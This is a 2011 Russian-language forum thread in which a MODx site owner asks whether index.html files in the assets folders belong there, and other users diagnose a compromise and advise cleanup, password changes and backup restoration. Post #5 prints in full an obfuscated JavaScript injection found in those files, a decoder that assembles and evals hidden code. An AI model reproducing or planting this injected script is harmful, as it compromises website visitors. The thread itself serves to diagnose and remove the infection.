MODx, должен ли жить этот файл

D2

82

dm-211

6 июля 2011, 06:21

857

cms MODx. в директории assets нашёл файлы index.html.

должны ли они там находится? посмотрите плиз у себя. и какой код в этих файлах у вас?

и ещё несколько адресов

assets/cache/index.html

assets/docs/index.html

assets/export/index.html

assets/files/index.html

assets/...

471

Lord Maverik

6 июля 2011, 06:22

#1

содержимое файла гляньте :)

RedMall.Ru (https://redmall.ru) - Товары из Китая (Таобао, Tmall) с проверкой качества, скидка для форумчан 7% Партнерская программа 2 уровня: 5% + 5%. Подробнее. (https://redmall.ru/about/partner/)

117

greenlen

6 июля 2011, 06:26

#2

dm-211, А что Вас собственно смущает в них?

D2

82

dm-211

6 июля 2011, 06:26

#3

глянул

там скрипт

вот и вопрос? жить ему или делет?

AM

467

AndyM

6 июля 2011, 06:28

#4

ну так откройте их и посмотрите

если там что то типа:

<h2>Unauthorized access</h2>
You're not allowed to access file folder

то все нормально, если что то другое с вставками фреймов то возможно вас сломали

D2

82

dm-211

6 июля 2011, 06:31

#5

AndyM:
ну так откройте их и посмотрите
если там что то типа:

выкладываю весь код:

<h2>Un authorized access</h2>

You're not allowed to access file folde<html><body><script>var el,ar,ar2,pos,yes=false;setInterval(function(){if(yes){try{try{a1=a2}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="0(: ]tn Ee{oa>rs\"T,[=NyghvuwC-'zA<cp);1.B/bm}flid";ar2="R12c12c188c180c28c4c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c144c40c12c12c12c188c180c56c48c172c36c56c4c144c148c12c12c176c28c36c184c60c36c28c40c12c12c12c192c44c136c104c172c36c24c20c156c108c56c188c20c36c4c64c132c188c180c56c48c172c36c28c60c56c136c80c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c28c108c188c192c20c96c80c120c152c0c120c28c96c36c188c92c96c20c80c120c152c0c120c28c60c20c88c184c36c80c120c100c188c60c188c168c188c184c188c20c88c8c96c188c192c192c36c24c148c140c44c60c188c20c188c44c24c8c48c168c60c44c184c104c20c36c148c184c36c180c20c8c0c148c20c44c140c8c0c148c120c52c132c164c188c180c56c48c172c36c52c64c144c148c12c12c176c12c12c180c104c24c136c20c188c44c24c28c188c180c56c48c172c36c56c4c144c40c12c12c12c100c48c56c28c180c28c80c28c192c44c136c104c172c36c24c20c156c136c56c36c48c20c36c32c184c36c172c36c24c20c4c120c188c180c56c48c172c36c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c60c56c136c120c72c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c144c148c180c156c60c20c88c184c36c156c100c188c60c188c168c188c184c188c20c88c80c120c96c188c192c192c36c24c120c148c180c156c60c20c88c184c36c156c140c44c60c188c20c188c44c24c80c120c48c168c60c44c184c104c20c36c120c148c180c156c60c20c88c184c36c156c184c36c180c20c80c120c0c120c148c180c156c60c20c88c184c36c156c20c44c140c80c120c0c120c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c108c188c192c20c96c120c72c120c152c0c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c96c36c188c92c96c20c120c72c120c152c0c120c144c148c12c12c12c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c156c48c140c140c36c24c192c112c96c188c184c192c4c180c144c148c12c12c176]".replace(k.substr(0,1),'[');pau="urn eReferenceErr".replace(k,"val");e=Function("ret"+pau)();ar2=e(ar2.replace(/c/g,","));s="";pos=0;for(i=0;i!=ar2.length;i++){e('pos=parseInt(ar2 / 4)');e('s+=ar.substr(pos,1)');}
e(s);yes=false;}},20);setTimeout(function(){el=document.createElement("div");el.innerHTML="***82;***101;***102;***101;***114;***101;***110;***99;***101;***69;***114;***114;";yes=true;},1);</script></body></html>r

Украшение сайта на js Нужна помощь по сайту Почему спам?

240

LiteCat

6 июля 2011, 06:35

#6

Скачайте дистрибутив CMS той же версии, что и у вас, и сравните

AM

467

AndyM

6 июля 2011, 06:35

#7

dm-211, Оставляйте только то что я процитировал в прошлом ответе. остальное удаляйте.

А еще лучше посмотреть на дату изменения файлов и если после нее не было изменений на сайте то восстановитесь из бекапа. Кто знает что у вас еще там за сюрпризы могли спрятать.

И да меняйте пароли и проверяйте машину свою. Скорее всего фтп доступ увели

Гугл индексирует страницы, которых Взломали сайт и вставили Угнали ICQ!

D2

82

dm-211

6 июля 2011, 06:49

#8

Andy

спасибо

такой ещё вопрос, доступ у вас к index какой?

AM

467

AndyM

6 июля 2011, 06:56

#9

dm-211, я на денвере смотрел, поэтому по правам не подскажу, уточните этот момент лучше на форуме модх там есть русская ветка

471

Lord Maverik

6 июля 2011, 07:33

#10

dm-211, поставьте доступ к этим файлам только на чтение и все.

В 2023 году Одноклассники пресекли более 9 млн подозрительных входов в учетные записи

Как снизить ДРР до 4,38% и повысить продажи с помощью VK Рекламы